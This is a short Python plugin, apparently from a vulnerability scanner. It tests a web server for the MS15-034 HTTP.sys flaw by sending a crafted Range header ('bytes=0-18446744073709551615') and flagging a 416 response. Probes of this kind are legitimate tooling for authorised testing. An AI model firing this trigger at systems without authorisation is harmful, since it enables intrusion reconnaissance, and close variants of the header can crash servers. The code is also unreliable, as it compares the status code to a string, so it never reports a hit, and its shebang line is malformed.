#!/usr/bin python
from plugins.config.config_package import *


def ms15_034(url):
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0',
        'Range':'bytes=0-18446744073709551615'
    }
    try:
        res = requests.get(url,headers=headers,verify=False,timeout=3)
        if res.status_code == '416':
            core.checksuc(target=url,name='MS15-034 HTTP.Sys远程代码执行',payload='bytes=0-18446744073709551615')
        else:
            pass
    except Exception as e:
        pass
    except KeyboardInterrupt:
        sys.exit()
